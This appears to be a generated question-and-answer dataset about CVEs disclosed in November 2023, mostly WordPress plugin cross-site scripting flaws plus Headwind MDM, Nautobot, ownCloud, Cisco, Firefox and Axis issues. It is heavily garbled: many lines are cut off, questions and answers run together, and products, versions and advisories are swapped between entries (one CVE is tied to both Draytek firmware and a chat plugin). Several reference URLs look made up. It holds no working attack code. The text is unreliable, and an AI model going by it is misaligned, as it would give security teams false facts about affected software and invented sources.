Is there a E As per the provided information, there is no Base Score currently assigned for CVE-2023-4

What is CV CVE-2023-47767 is a security vulnerability identified in the Fla-shop.com Interactive Worl

What type The vulnerability associated with CVE-2023-47767 is a Cross-site Scripting (XSS) vulnerabil

What versi CVE-2023-47767 affects all versions of the Fla-shop.com Interactive World Map plugin for

When was The CVE-2023-47767 vulnerability was published on 22 November 2023.

Are there a Yes, more information about CVE-2023-47767 can be found at the following URL: <https://p>

Can you pr While an exact code example can't be provided without access to the plugin's source code,

What are potential attack scenarios for CVE-2023-47767 include an attacker sending a crafted link with a malicious payload. How is Cross-site Scripting vulnerability, as seen in CVE-2023-47767, could be exploited by an attacker? What is CVSS score for CVE-2023-47766 is a vulnerability identifier referring to an 'Improper Neutralization of Input' issue. When was CVE-2023-47766 published on 22 November 2023.

What version of The Post Status Notifier Lite plugin is affected by CVE-2023-47766 in all versions up to and including v1.5.1.4? Is there a CVSS base score available for CVE-2023-47766? Where can More information about CVE-2023-47766 can be found in the Patchstack database at the following URL: <https://patchstack.com/cve-2023-47766>? What type of attack CVE-2023-47766 can facilitate a Cross-site Scripting (XSS) attack. In an attack scenario, an attacker sends a crafted request to the directory traversal vulnerability discovered in Draytek Vigor2960 firmware. Which versions of Draytek Vigor2960 firmware versions v1.5.1.4 and v1.5.1.5 are affected by the directory traversal vulnerability? How can an attacker exploit the vulnerability in CVE-2023-6265 by sending a crafted request to the Premio Chaty plugin? Is there an official patch available for CVE-2023-6265 as the affected product, Draytek Vigor2960? What are the attack scenarios for CVE-2023-6265 include an authenticated attacker gaining access to the Premio Chaty plugin version v1.5.1.4? Where can More information about the CVE-2023-6265 vulnerability can be found on the GitHub page: <https://github.com/Premio/Chaty/pull/10>? What is CVSS score for CVE-2023-47759 refers to a security vulnerability identified in the Premio Chaty plugin version v1.5.1.4? When was CVE-2023-47759 published on 22 November 2023.

What type of vulnerability is CVE-2023-47759 is a Cross-site Scripting (XSS) vulnerability.

Which plugin is affected by CVE-2023-47759, specifically version v1.5.1.4? Is there a CVSS base score available for CVE-2023-47759?

Where can More details about CVE-2023-47759 can be found on Patchstack's database at the following URL: <https://patchstack.com/cve-2023-47759>? Can you provide an example of XSS vulnerability in the context of CVE-2023-47759 might involve a situation where an attacker crafts a malicious input? What are the potential impacts of the XSS vulnerability CVE-2023-47759 include theft of sensitive information or data manipulation. How could an attacker exploit CVE-2023-47759 by crafting malicious input, such as a script tag containing harmful code? What is CVSS score for CVE-2023-30496 refers to a security vulnerability identified in the MagePeople Team WpBusTicketly plugin? What type of attack CVE-2023-30496 is classified as an 'Improper Neutralization of Input During Web Page Generation' issue. What is the impact of the Cross-site Scripting vulnerability associated with CVE-2023-30496 included in the MagePeople Team WpBusTicketly plugin? What plugin is affected by CVE-2023-30496 is the MagePeople Team WpBusTicketly plugin for WordPress? When was CVE-2023-30496 published on 22 November 2023.

How can the mitigation of CVE-2023-30496 can be achieved by updating the MagePeople Team WpBusTicketly plugin to the latest version? What is the CVSS base score for CVE-2023-30496 as per the provided information, the base score for CVE-2023-30496 has not been specified. Where can More information about CVE-2023-30496 can be found through the provided reference link: <https://patchstack.com/cve-2023-30496>? Can you provide an example of an attack vector for CVE-2023-30496 would be an attacker crafting a malicious input that triggers the XSS vulnerability? What potential consequences Exploiting CVE-2023-30496 can lead to various consequences, depending on the attacker's goal and the specific context of the exploit. What is CVSS score for CVE-2023-47755 refers to a security vulnerability that was identified in the AazzTech WooCommerce plugin? What versions are affected by CVE-2023-47755 include version 3.3.5 and possibly all previous versions. When was CVE-2023-47755 was publicly disclosed on 22 November 2023.

Where can More information about CVE-2023-47755 can be found at the following URL: <https://patchstack.com/cve-2023-47755>? What is the CVSS base score of CVE-2023-47755 on the CVSS scale has not been provided in the available information. Can you provide specific code examples related to CVE-2023-47755 are not available, a general Cross-site Scripting (XSS) vulnerability is present in the plugin. What are the possible attack scenarios stemming from CVE-2023-47755 include an attacker exploiting the vulnerability to steal sensitive information or execute malicious code. What is CVSS score for CVE-2023-47316 identifies a security vulnerability in Headwind MDM Web panel 5.22.1, what is the impact of this vulnerability? When was CVE-2023-47316 was published on 22 November 2023.

What is the impact of Headwind MDM Web panel 5.22.1 is vulnerable to Incorrect Access Control issue? Is there a CVSS base score provided for CVE-2023-47316 as per the available information.

Where can More details about CVE-2023-47316 can be found at the following URL: <https://boltonshie>

What are p Possible attack scenarios for CVE-2023-47316 include attackers exploiting the incorrect acc

What migh If an attacker were to exploit CVE-2023-47316, it could lead to a range of implications inclu

What is t The CVE ID of the vulnerability found in Headwind MDM Web panel 5.22.1 is CVE-2023-47

Can you de CVE-2023-47315 is a security issue in Headwind MDM Web panel 5.22.1 where there is Inc

As a develc To prevent an issue like CVE-2023-47315, developers should avoid hard-coding sensitive in

Where wa The information about the vulnerability CVE-2023-47315 was published on the following U

What are s Potential attack scenarios for CVE-2023-47315 could involve an attacker accessing the pub

What is cui The CVE-2023-47315 entry currently does not provide a Base Score, which is typically foun

Has the CV No, as of the published information, the CVE-2023-47315 vulnerability has not been assign

When was The vulnerability with CVE ID CVE-2023-47315 was made public on 22 November 2023.

What is CV CVE-2023-47314 is a security vulnerability identified in Headwind MDM Web panel versior

How can C An attacker can exploit CVE-2023-47314 by uploading a malicious HTML file via the file upl

What migh A hypothetical code example demonstrating an XSS attack exploiting CVE-2023-47314 coul

When was CVE-2023-47314 was publicly disclosed on the 22nd of November, 2023.

What step: To mitigate CVE-2023-47314, administrators of the Headwind MDM Web panel should loo

Where can More information about CVE-2023-47314 can be found at the URL provided in the CVE det

What is CV CVE-2023-47313 is a security vulnerability identified in Headwind MDM Web panel versior

How does !CVE-2023-47313 affects the Headwind MDM Web panel by allowing an attacker to exploit

Has CVE-20 As of the provided information, CVE-2023-47313 has not been assigned a base score. This i

When was CVE-2023-47313 was published on November 22, 2023.

What are t Possible attack scenarios for CVE-2023-47313 include an attacker exploiting the vulnerabil

Are there a Yes, further information on CVE-2023-47313 can be found at the following URL: <https://bo>

What is CV CVE-2023-47312 is a vulnerability reported in Headwind MDM Web panel 5.22.1, which is

When was CVE-2023-47312 was published on 22 November 2023.

Which vers Headwind MDM Web panel version 5.22.1 is affected by CVE-2023-47312.

What is t The impact of CVE-2023-47312 is that an attacker could potentially gain unauthorized acce

Are there a Yes, more information about CVE-2023-47312 can be found at the following URL: <https://b>

What migh An attack scenario involving CVE-2023-47312 could involve an attacker gaining access to th

What is CV CVE-2023-6164 is a security vulnerability identified in the MainWP Dashboard - WordPress

How can C CVE-2023-6164 can be exploited by an authenticated attacker with administrator-level acc

What are t The impact of the CSS Injection vulnerability in CVE-2023-6164 ranges from cosmetic chan

What versi CVE-2023-6164 affects all versions of the MainWP Dashboard WordPress plugin up to and

Has CVE-20 Yes, CVE-2023-6164 has been addressed by the developers of MainWP Dashboard. The vul

Where can More information about CVE-2023-6164 can be found through the references provided. Oi

Could you |An example code snippet for a CSS Injection attack exploiting CVE-2023-6164 would involv

What is t CVE-2023-6164 was published on November 22, 2023.

What is CV CVE-2023-5742 is a vulnerability identifier for a security issue found in the EasyRotator for

How can C CVE-2023-5742 can be exploited by attackers with contributor-level or higher permissions.

Which vers CVE-2023-5742 affects all versions of the EasyRotator for WordPress plugin up to and inclu

When was CVE-2023-5742 was published on 22 November 2023.

Are there a Yes, there are references available for CVE-2023-5742. These include a link to the plugin's

What are p One attack scenario for CVE-2023-5742 could involve an authenticated attacker with contr

What is t The vulnerability of the WordPress plugin is identified by CVE-2023-5715.

Which Woi CVE-2023-5715 affects the Website Optimization – Plerdy plugin for WordPress.

What type CVE-2023-5715 is associated with a Stored Cross-Site Scripting (XSS) vulnerability.

Up to whic All versions up to, and including, 1.3.2 of the Website Optimization – Plerdy plugin for Wo

What caus The WordPress plugin is vulnerable to CVE-2023-5715 due to insufficient input sanitization

What pern To exploit the vulnerability mentioned in CVE-2023-5715, an attacker would need to have :

Can you de An attack scenario for CVE-2023-5715 could involve an authenticated attacker with admini

Are there a Yes, the Website Optimization – Plerdy plugin is more susceptible to CVE-2023-5715 in mu

When was CVE-2023-5715 was published on 22 November 2023.

Where can More information about CVE-2023-5715 can be found through the following references:1.

What is the The CVE ID for the vulnerability in the WP Post Columns plugin for WordPress is CVE-2023-

Can you de CVE-2023-5708 describes a Stored Cross-Site Scripting (XSS) vulnerability in the WP Post C

Which vers All versions up to and including version 2.2 of the WP Post Columns plugin for WordPress :

What user Authenticated users with contributor-level and above permissions are capable of exploitin

How might An attacker could exploit CVE-2023-5708 by injecting malicious scripts into the pages using

What was t The CVE-2023-5708 vulnerability was published on 22 November 2023.

What mea To mitigate the impact of CVE-2023-5708, users should update the WP Post Columns plugi

Can you lis Additional information about CVE-2023-5708 can be found at the following URLs:- <https://>

How sever The severity level (Base Score) for CVE-2023-5708 is not available in the given data. Typica

What coul The impact of an attack exploiting CVE-2023-5708 could include the execution of unauthor

What is CV CVE-2023-5706 is a security vulnerability identified in the VK Blocks plugin for WordPress.

How can C CVE-2023-5706 can be exploited by an authenticated attacker with at least contributor-lev

On what d CVE-2023-5706 was published on 22 November 2023.

Are there a Yes, several references are available for understanding CVE-2023-5706 in more detail, whi

What mea To protect against CVE-2023-5706, users of the VK Blocks plugin should update it to the lat

Has the Ba As of the information provided, a Base Score has not been assigned for CVE-2023-5706. Th

What is CV CVE-2023-5704 is a security vulnerability identified in the CPO Shortcodes plugin for Word

How can C CVE-2023-5704 can be exploited by an attacker who has contributor-level access or higher

Which vers All versions of the CPO Shortcodes plugin up to and including 1.5.0 are affected by CVE-20:

When was CVE-2023-5704 was published on 22 November 2023.

Where can More information and references about CVE-2023-5704 can be found at the following URLs

Can you pr Certainly. An example attack scenario for CVE-2023-5704 may involve a malicious actor wh

What is the The impact of CVE-2023-5704 is significant as it allows attackers to perform Stored Cross-S

Is there a E As of the information provided, there is no Base Score available for CVE-2023-5704.

Who could CVE-2023-5704 can potentially be exploited by authenticated attackers who have been gra

What is CV CVE-2023-5667 refers to a security vulnerability found in the Tab Ultimate plugin for Word

How could An attacker could exploit CVE-2023-5667 by utilizing the plugin's shortcodes to inject malic

What privil To exploit CVE-2023-5667, an attacker would need to have a contributor-level account or h

What coul The impact of an attack using CVE-2023-5667 could be significant, depending on the natur

What are s Some possible mitigation strategies for CVE-2023-5667 include: 1. Updating the Tab Ultima

Has CVE-20 It is not explicitly stated in the information provided whether CVE-2023-5667 has been pat

Where can More information about CVE-2023-5667 can be found through the following references: - 1

What is the The CVE ID of the vulnerability found in the Garden Gnome Package plugin for WordPress

In which pl The CVE-2023-5664 vulnerability is discovered in the Garden Gnome Package plugin for W

What type CVE-2023-5664 is a Stored Cross-Site Scripting (XSS) vulnerability.

Which versions up to and including 2.2.8 of the Garden Gnome Package plugin for WordPress are affected by CVE-2023-5664? An attacker can exploit the CVE-2023-5664 vulnerability by injecting arbitrary web scripts into the page content.

What are the steps to exploit CVE-2023-5664? To exploit CVE-2023-5664, an attacker would need to have authenticated access with contributor-level permissions or higher.

What is the published date of the vulnerability? As of the published date, which is 22 November 2023, the CVE-2023-5664 vulnerability was not assigned a base score.

Can you share additional information on CVE-2023-5664? Additional information on CVE-2023-5664 can be found at the following references:

1. <https://wpvulndb.com/vulnerabilities/10000>

What is the base score for CVE-2023-5664? The base score for CVE-2023-5664 is not available in the provided information.

Are there specific code examples provided for CVE-2023-5664? Unfortunately, the information provided does not include specific code examples that demonstrate how to exploit the vulnerability.

What could be a possible attack scenario for CVE-2023-5664? A possible attack scenario for CVE-2023-5664 would be an authenticated attacker with contributor-level permissions injecting arbitrary web scripts into the page content.

What is CVE-2023-5662? CVE-2023-5662 is a vulnerability in the Sponsors plugin for WordPress which allows for Stored Cross-Site Scripting (XSS).

Which WordPress plugin is affected by CVE-2023-5662? The Sponsors plugin for WordPress is affected by CVE-2023-5662.

What version(s) of the Sponsors plugin are vulnerable? All versions of the Sponsors plugin for WordPress up to and including 3.5.0 are vulnerable.

What type of attackers need to have at least contributor-level permissions in WordPress to exploit CVE-2023-5662?

Has a patch been released for CVE-2023-5662? The information provided does not specify if a patch has been released for CVE-2023-5662.

How was the disclosure or discovery method of CVE-2023-5662? The disclosure or discovery method of CVE-2023-5662 is not detailed in the provided information.

What is Stored Cross-Site Scripting (XSS)? Stored Cross-Site Scripting (XSS) is a type of web security vulnerability where an attacker is able to inject malicious code into a website's database.

What is the impact of CVE-2023-5662? Websites using the vulnerable versions of the Sponsors plugin for WordPress are at risk of being exploited via XSS attacks.

What are the references provided for CVE-2023-5662? The references provided for CVE-2023-5662 are links to the WordPress plugin Trac page (<https://core.trac.wordpress.org/ticket/5662>).

Can you provide a possible attack scenario for CVE-2023-5662? A possible attack scenario for CVE-2023-5662 would involve an attacker who has gained contributor-level permissions and injected malicious JavaScript code into the plugin's database.

What is CVE-2023-5469? CVE-2023-5469 is an identifier for a security vulnerability found in the Drop Shadow Boxes plugin.

What version(s) of the Drop Shadow Boxes plugin are affected by CVE-2023-5469? CVE-2023-5469 affects versions of the Drop Shadow Boxes plugin for WordPress up to and including 1.0.1.

Who can exploit CVE-2023-5469? Authenticated attackers with contributor-level permissions or higher can exploit the vulnerability.

What is the impact of CVE-2023-5469? The impact of CVE-2023-5469 on a WordPress site is that it allows attackers to perform Stored Cross-Site Scripting (XSS) attacks.

Has CVE-2023-5469 been assigned a base score? As of the provided information, CVE-2023-5469 has not been assigned a base score.

When was CVE-2023-5469 published? CVE-2023-5469 was published on 22 November 2023.

Can you provide an example of a code snippet that might be vulnerable to CVE-2023-5469? An example of a code snippet that might be vulnerable to CVE-2023-5469 could involve the use of untrusted user input in the plugin's database.

What are some potential attack scenarios of CVE-2023-5469? Some potential attack scenarios of CVE-2023-5469 include an attacker with contributor-level permissions injecting malicious code into the plugin's database.

Where can more technical details regarding CVE-2023-5469 be found? More technical details regarding CVE-2023-5469 can be found at the following references:

1. <https://wpvulndb.com/vulnerabilities/10001>

What is CVE-2023-5338? CVE-2023-5338 refers to a security vulnerability found in the Theme Blvd Shortcodes plugin.

How does CVE-2023-5338 affect WordPress websites? The impact of CVE-2023-5338 on a WordPress website is significant as it allows attackers to perform Stored Cross-Site Scripting (XSS) attacks.

What version(s) of the Theme Blvd Shortcodes plugin are affected by CVE-2023-5338? CVE-2023-5338 affects all versions of the Theme Blvd Shortcodes plugin for WordPress up to and including 1.0.1.

When was CVE-2023-5338 published? CVE-2023-5338 was published on 22 November 2023.

Where can more information about CVE-2023-5338 be found? More information about CVE-2023-5338 can be found at the official WordPress Plugin Trac page (<https://core.trac.wordpress.org/ticket/5338>).

Are there specific code examples provided for CVE-2023-5338? While specific code examples directly showcasing the vulnerability CVE-2023-5338 can be found online, they are not included in the provided information.

What are possible attack scenarios for CVE-2023-5338? Possible attack scenarios for CVE-2023-5338 include an attacker with contributor-level permissions injecting malicious code into the plugin's database.

Has CVE-2023-5338 been assigned a base score? As of the provided information, CVE-2023-5338 has not been assigned a base score. This means that the severity of the vulnerability is not yet known.

What is CVE-2023-5234? CVE-2023-5234 is a security vulnerability identified in the Related Products for WooCommerce plugin.

How severe is CVE-2023-5234? The Base Score for CVE-2023-5234 has not been provided. However, Stored Cross-Site Scripting (XSS) attacks are possible.

On what date was CVE-2023-5234 published? CVE-2023-5234 was published on 22 November 2023.

What permission levels are required to exploit CVE-2023-5234? To exploit CVE-2023-5234, an attacker would need to be authenticated with contributor-level permissions or higher.

Can you provide a possible attack scenario for CVE-2023-5234? An attack scenario for CVE-2023-5234 could involve an attacker who has contributor-level permissions injecting malicious code into the plugin's database.

Have there been any patches or updates released for CVE-2023-5234? While the Base Score and specific detail regarding patches are not mentioned in the provided information, patches have been released for the vulnerability.

Where can more details about CVE-2023-5234 be found? More details about CVE-2023-5234 can be found in the plugin's Trac browser at <https://core.trac.wordpress.org/ticket/5234>.

What is CVE-2023-5163? CVE-2023-5163 is a security vulnerability identified in the Weather Atlas Widget plugin for WordPress.

How can CVE-2023-5163 be exploited? An attacker could exploit CVE-2023-5163 by using the 'shortcode-weather-atlas' shortcode.

Which versions up to and including 1.2.1 of the Weather Atlas Widget plugin for WordPress are affected by CVE-2023-5163? The consequences of exploiting CVE-2023-5163 include unauthorized access to user sessions. Can you provide more details?

Certainly. Below is a hypothetical example of a shortcode input that could exploit CVE-2023-5163:

```
[weather_atlas]
```

Was a Base Score assigned for CVE-2023-5163 in the information about the vulnerability?

No, a Base Score was not provided for CVE-2023-5163 in the information about the vulnerability.

When was CVE-2023-5163 published?

22 November 2023.

Where can More technical details about CVE-2023-5163 be found in references like the WordPress Security Database?

What level An attacker would require at least contributor-level permissions or above on the WordPress site?

What is CV What is CVE-2023-5128?

CVE-2023-5128 is a security vulnerability found in the TCD Google Maps plugin for WordPress.

What version(s) of the TCD Google Maps plugin for WordPress up to and including 2.0.1 is affected?

How can an attacker exploit CVE-2023-5128 by injecting arbitrary web scripts through the 'map' parameter?

An attacker would need to have at least contributor-level permissions or higher in the WordPress site.

Are there any references providing more details about CVE-2023-5128?

Information is available in the official WordPress Security Database.

What is the impact of exploiting CVE-2023-5128?

The impact of exploiting CVE-2023-5128 could be quite serious. If successful, an attacker could gain full control of the website.

Has a base score assigned for CVE-2023-5128?

As of the time of the report, no base score has been assigned to CVE-2023-5128. This information is available in the official WordPress Security Database.

When was CVE-2023-5128 published?

22 November 2023.

What is CV What is CVE-2023-5096?

CVE-2023-5096 is a security vulnerability found in the HTML filter and csv-file search plugin for WordPress.

Which version(s) of the HTML filter and csv-file search plugin for WordPress is affected?

Versions up to and including 2.7 of the HTML filter and csv-file search plugin for WordPress are impacted.

How can an attacker exploit CVE-2023-5096 by authenticated attackers with contributor-level permissions?

The impact of CVE-2023-5096 includes the execution of arbitrary web scripts in the context of the user.

On what date was CVE-2023-5096 published?

22 November 2023.

Are there any references providing more details about CVE-2023-5096?

More information on CVE-2023-5096 can be found at the following URLs: <https://plugins.svn.wordpress.org/html-filter/>

Could you provide an actual malicious code example for ethical reasons?

While I cannot provide an actual malicious code example for ethical reasons, a typical attack scenario involves injecting malicious scripts into CSV files.

What is CV What is CVE-2023-5048?

CVE-2023-5048 identifies a security vulnerability in the WDContactFormBuilder plugin for WordPress.

Which plugin is affected by CVE-2023-5048?

The WDContactFormBuilder plugin for WordPress is affected by CVE-2023-5048.

What version(s) of the WDContactFormBuilder plugin are impacted by CVE-2023-5048?

Versions up to and including 1.0.72 of the WDContactFormBuilder plugin are impacted.

Who can exploit CVE-2023-5048?

Authenticated attackers with contributor level access or higher can exploit the vulnerability.

What kind of attack is CVE-2023-5048?

CVE-2023-5048 allows attackers to perform a Stored Cross-Site Scripting (XSS) attack. Attackers can store malicious scripts in the database and trigger them later.

What is the risk associated with CVE-2023-5048?

The risk associated with CVE-2023-5048 is that malicious scripts could be executed in the context of the user.

When was CVE-2023-5048 published?

22 November 2023.

Where can More details about CVE-2023-5048 be found in the provided references, such as the WordPress Security Database?

Could you provide an actual malicious code example for ethical reasons?

As the specifics of the code exploitation are not detailed here, a general example is that an attacker can inject malicious scripts into CSV files.

What is a possible attack scenario involving CVE-2023-5048?

A possible attack scenario involving CVE-2023-5048 could be an authenticated user with contributor level access injecting malicious scripts into CSV files.

What is CV What is CVE-2023-4726?

CVE-2023-4726 is a security vulnerability found in the Ultimate Dashboard plugin for WordPress.

What type of installations is CVE-2023-4726 affects?

CVE-2023-4726 affects multi-site WordPress installations and those installations where the 'Ultimate Dashboard' plugin is active.

How serious is CVE-2023-4726?

As of now, the Base Score for CVE-2023-4726 has not been assigned, so we can't quantify its severity.

On what date was CVE-2023-4726 published?

22 November 2023.

Where can Detailed information and a patch for CVE-2023-4726 be found in the provided references, such as the WordPress Security Database?

Can you provide more details about the attack scenario involving CVE-2023-4726?

Although the exact technical details are not provided, an attacker with admin-level access can exploit the vulnerability.

What are the consequences of exploiting CVE-2023-4726?

An attack exploiting CVE-2023-4726 could lead to a range of malicious activities, including data theft and site defacement.

Has a base score assigned for CVE-2023-4726?

It is implied but not explicitly stated in the information given that a patch should exist, giving it a low priority.

What is the CVE ID of the Nautobot vulnerability?

The CVE ID of the Nautobot vulnerability is CVE-2023-48705.

Which versions of Nautobot are potentially affected by the vulnerability?

All users of Nautobot versions earlier than 1.6.6 or 2.0.5 are potentially affected by the vulnerability.

What type of vulnerability is CVE-2023-48705?

How does The vulnerability CVE-2023-48705 in Nautobot occurs due to incorrect usage of Django's `r
What is the For mitigation against CVE-2023-48705, users on Nautobot 1.6.x LTM should upgrade to ve
Is there a d No, there is no direct workaround available for CVE-2023-48705 other than upgrading to tl
Can you pr Sure, an example of incorrect usage related to CVE-2023-48705 might involve using Djangc
What are p For CVE-2023-48705, an attacker with the ability to create or edit custom links, job buttons
When was The vulnerability CVE-2023-48705 was published on 22 November 2023.

Where can More information about CVE-2023-48705 can be found in the official Nautobot GitHub rep
What is the The CVE ID of the vulnerability is CVE-2023-27633.

What type CVE-2023-27633 is identified as a Cross-Site Request Forgery (CSRF) vulnerability.

Which plug The Pixelgrade Customify – Intuitive Website Styling plugin is affected by the CVE-2023-27
Up to whic The CSRF vulnerability is present in versions of the Pixelgrade Customify plugin up to and i
When was The vulnerability CVE-2023-27633 was published on 22 November 2023.

Can you pr Yes, more information about CVE-2023-27633 can be found at the following link: <https://p>
What is the The base score for CVE-2023-27633 has not been provided in the available information.

Could you In a possible attack scenario for CVE-2023-27633, an attacker could exploit the CSRF vulnera

What is CV CVE-2023-3104 refers to a security vulnerability wherein there is a lack of authentication in
When was CVE-2023-3104 was published on 22 November 2023.

What is the The impact of CVE-2023-3104 is considered significant since it allows an unauthenticated l
Is there a b No, as of the provided information, there is no Base Score assigned to CVE-2023-3104.

Where can More information about CVE-2023-3104 can be found through the provided reference link

Can you de In a possible attack scenario, an attacker with physical access to the network housing the v

Are there a As this vulnerability is related to a lack of authentication, there isn't a specific code exempl

What is CV CVE-2023-6011 is a security vulnerability identified in DECE Software's Geodi product. It is
What versi CVE-2023-6011 affects DECE Software's Geodi product versions prior to 8.0.0.27396. Any ii

How was C The CVE-2023-6011 was publicized on November 22, 2023, through a vulnerability disclos

What is the The attack vector for CVE-2023-6011 is through a Stored Cross-site Scripting (XSS) vulnera

What coulc While the specific code details for CVE-2023-6011 aren't provided, a general example of a s

What are p Possible attack scenarios for CVE-2023-6011 include an attacker crafting a malicious paylo

What is the The CVE ID for the vulnerability in IBM Sterling B2B Integrator Standard Edition is CVE-202

Which vers IBM Sterling B2B Integrator Standard Edition versions 6.0.0.0 through 6.0.3.8 and 6.1.0.0 t

What type CVE-2022-35638 is associated with a cross-site request forgery (CSRF) vulnerability in IBM

What are t The vulnerability tracked by CVE-2022-35638 could allow an attacker to execute malicious

What is the The IBM X-Force ID associated with CVE-2022-35638 is 230824.

When was CVE-2022-35638 was published on 22 November 2023.

Where can More information about CVE-2022-35638 can be found at the following URLs: <https://exch>

Can you pr An attack scenario for the CSRF vulnerability CVE-2022-35638 might involve an attacker cr

What is CV CVE-2023-49103 is a security vulnerability identified in the ownCloud application, specifica

What versi CVE-2023-49103 affects the ownCloud graphapi app versions 0.2.x before 0.2.1 and 0.3.x t

What type CVE-2023-49103 could potentially disclose the configuration details of the PHP environme

How do I fi To fix or mitigate CVE-2023-49103, users should update the ownCloud graphapi applicatio

Are Docker According to the CVE-2023-49103 disclosure, Docker containers from before February 202

Can disabli No, disabling the graphapi app in ownCloud does not eliminate the CVE-2023-49103 vulne

What kind An attacker exploiting CVE-2023-49103 could potentially access a URL provided by the Get

What is CV CVE-2023-48230 refers to a security vulnerability found in the KJ HTTP library bundled with

Which versions of Cap'n Proto does CVE-2023-48230 affect?

How does it work? The vulnerability caused by CVE-2023-48230 leads to a buffer underrun when WebSocket compression is remote controlled.

Who is affected? While maintainers of Cap'n Proto believe it is unlikely that CVE-2023-48230 could be exploited, it is remote controlled.

How can it be mitigated? WebSocket compression in the KJ HTTP library can be enabled via a setting passed to the `capnproto::kj::HTTP` constructor.

What has been done? CVE-2023-48230 has been addressed in Cap'n Proto version 1.0.1.1. Users are recommended to upgrade to this version.

Where can I get more information or updates related to CVE-2023-48230? You can refer to the official Cisco Security Advisory.

Are there any known affected products? Most users of Cap'n Proto and KJ are unlikely to be affected since WebSocket compression is remote controlled.

What is CVE-2023-20272? CVE-2023-20272 is a vulnerability located in the web-based management interface of Cisco IP phones.

How can it be exploited? An attacker could exploit CVE-2023-20272 by uploading a malicious file to the web interface.

What are the potential consequences? If CVE-2023-20272 is successfully exploited, an attacker could replace files on the web server.

When was CVE-2023-20272 published? It was published on 21 November 2023.

What is the base score for CVE-2023-20272? The base score for CVE-2023-20272 has not been provided or is not applicable at the time of publication.

Can you provide more details? Yes, more detailed information about CVE-2023-20272 can be found on the official Cisco Security Advisory.

What are possible attack scenarios for CVE-2023-20272? Possible attack scenarios include an attacker using social engineering to gain access to the device.

Are there any known affected products? As CVE-2023-20272 relates to an improper file validation issue in a commercial product, there are likely other affected products.

What is CVE-2023-20265? CVE-2023-20265 refers to a vulnerability in the web-based management interface of certain Cisco IP phones.

How does it work? CVE-2023-20265 affects a small subset of Cisco IP Phones by exploiting a vulnerability in the session handling code.

What is the underlying issue? The underlying issue in CVE-2023-20265 is insufficient validation of user-supplied input in the session handling code.

Are there any known affected products? To exploit CVE-2023-20265, an attacker must have valid credentials to access the web interface.

When was CVE-2023-20265 published? It was publicly disclosed on 21 November 2023.

Is there a security advisory? Cisco has released a security advisory for CVE-2023-20265. For detailed information and a link to the advisory, please refer to the Cisco Security Advisory.

Can you provide an example of how it can be exploited? An example of a script an attacker might use to exploit CVE-2023-20265 could be a simple exploit script written in Python or similar.

What are possible attack scenarios for CVE-2023-20265? Possible attack scenarios include an attacker stealing session cookies or performing other unauthorized actions on the device.

What is the identifier of the vulnerability? The identifier of the vulnerability affecting the Cisco ISE web-based management interface is CVE-2023-20265.

Can you describe the impact? CVE-2023-20265 refers to a vulnerability in the web-based management interface of Cisco IP phones.

What is the impact of CVE-2023-20265? The impact of CVE-2023-20265 is that it could allow an attacker to perform an XSS attack.

On what date was CVE-2023-20265 published? It was published on 21 November 2023.

What is the base score for CVE-2023-20265? The base score for CVE-2023-20265 has not been provided or is not applicable (N/A).

Where can I find more information about CVE-2023-20265? More information about CVE-2023-20265 can be found at the following official Cisco Security Advisory.

Could you provide a possible attack scenario for CVE-2023-20265? A possible attack scenario for CVE-2023-20265 might involve an attacker sending a crafted session cookie to the victim's browser.

Is there a code example demonstrating how to exploit CVE-2023-20265? As CVE-2023-20265 is a security vulnerability, specific code examples demonstrating exploitation are available in the Cisco Security Advisory.

What is the CVE ID for this vulnerability? The CVE ID for this vulnerability is CVE-2023-6210.

Which Firefox versions prior to version 120 are affected by CVE-2023-6210?

What type of vulnerability is CVE-2023-6210? Due to the vulnerability in CVE-2023-6210, a pop-up was incorrectly permitted to load blocking content.

Where can I find more information about CVE-2023-6210? More information about CVE-2023-6210 can be found in the Mozilla Foundation Security Advisory.

What is the base score for CVE-2023-6210? The base score for CVE-2023-6210 is not available (N/A) in the CVE details.

When was CVE-2023-6210 published? It was published on 21 November 2023.

Can you provide a code example demonstrating how to exploit CVE-2023-6210? While a code example isn't provided in the CVE details, exploitation of CVE-2023-6210 might involve sending a crafted URL that triggers the vulnerability.

What is CVE-2023-6209? CVE-2023-6209 is a security vulnerability where relative URLs starting with three slashes were not properly handled.

Which Firefox versions prior to version 120 are affected by CVE-2023-6209? CVE-2023-6209 affects Firefox versions earlier than 120, Firefox ESR versions earlier than 120, and Firefox Quantum versions earlier than 120.

What type of vulnerability is CVE-2023-6209? CVE-2023-6209 is associated with incorrect URL parsing that leads to a path-traversal vulnerability.

How has Mozilla addressed CVE-2023-6209? Mozilla has addressed CVE-2023-6209 by releasing updated versions of Firefox, Firefox ESR, and Firefox Quantum.

Are there any references or security advisories available for CVE-2023-6209? Yes, there are several references and security advisories available for CVE-2023-6209, including the Mozilla Foundation Security Advisory.

What are the potential consequences if CVE-2023-6209 is exploited? If CVE-2023-6209 were to be exploited, attackers could potentially redirect users to malicious websites.

What means? Users can protect themselves from CVE-2023-6209 by updating their Firefox, Firefox ESR, and Firefox ESR EME components.

What is CV? CVE-2023-4149 refers to a security vulnerability in the web-based management component.

How severe? The severity of CVE-2023-4149 has not been provided with a specific Base Score in the information.

When was CVE-2023-4149 published? CVE-2023-4149 was published on 21 November 2023.

Where can More information about CVE-2023-4149 can be found on the advisory page at VDE CERT, vulnerability details.

What might A possible attack scenario for CVE-2023-4149 could involve an attacker sending specially crafted requests to the vulnerable component.

What kind? Systems utilizing the specific web-based management component that contains the vulnerability.

What are the implications? The implications of a successful exploit of CVE-2023-4149 are severe. An attacker could inject malicious code into the system.

Are there any code examples? Code examples for exploiting CVE-2023-4149 cannot be provided without specific details about the affected system.

Has CVE-2023-4149 been assigned a CVSS Base Score? As per the provided information, CVE-2023-4149 has not been assigned a CVSS Base Score.

What is CV? CVE-2023-21416 is a security vulnerability that was identified by Sandro Poppi, a member of the Axis Communications team.

When was CVE-2023-21416 publicly disclosed? CVE-2023-21416 was publicly disclosed on 21 November 2023.

Has a solution been released? Yes, Axis Communications has released patched versions of the AXIS OS to address the vulnerability.

What is the impact? The impact of CVE-2023-21416 is that an authenticated attacker, with access to an operating system, can execute arbitrary code.

Where can detailed information and the official security advisory be found? Detailed information and the official security advisory for CVE-2023-21416 can be found by visiting the VDE CERT website.

Could you explain the attack scenario? An attack scenario exploiting CVE-2023-21416 would involve an attacker who has managed to gain access to the system.

What are the steps to exploit the vulnerability? To exploit the CVE-2023-21416 vulnerability, an attacker must have authenticated access to the system and be able to execute shell commands.

What type of vulnerability is it? CVE-2023-21416 vulnerability enables a Denial-of-Service (DoS) attack, specifically targeting the system's ability to handle requests.

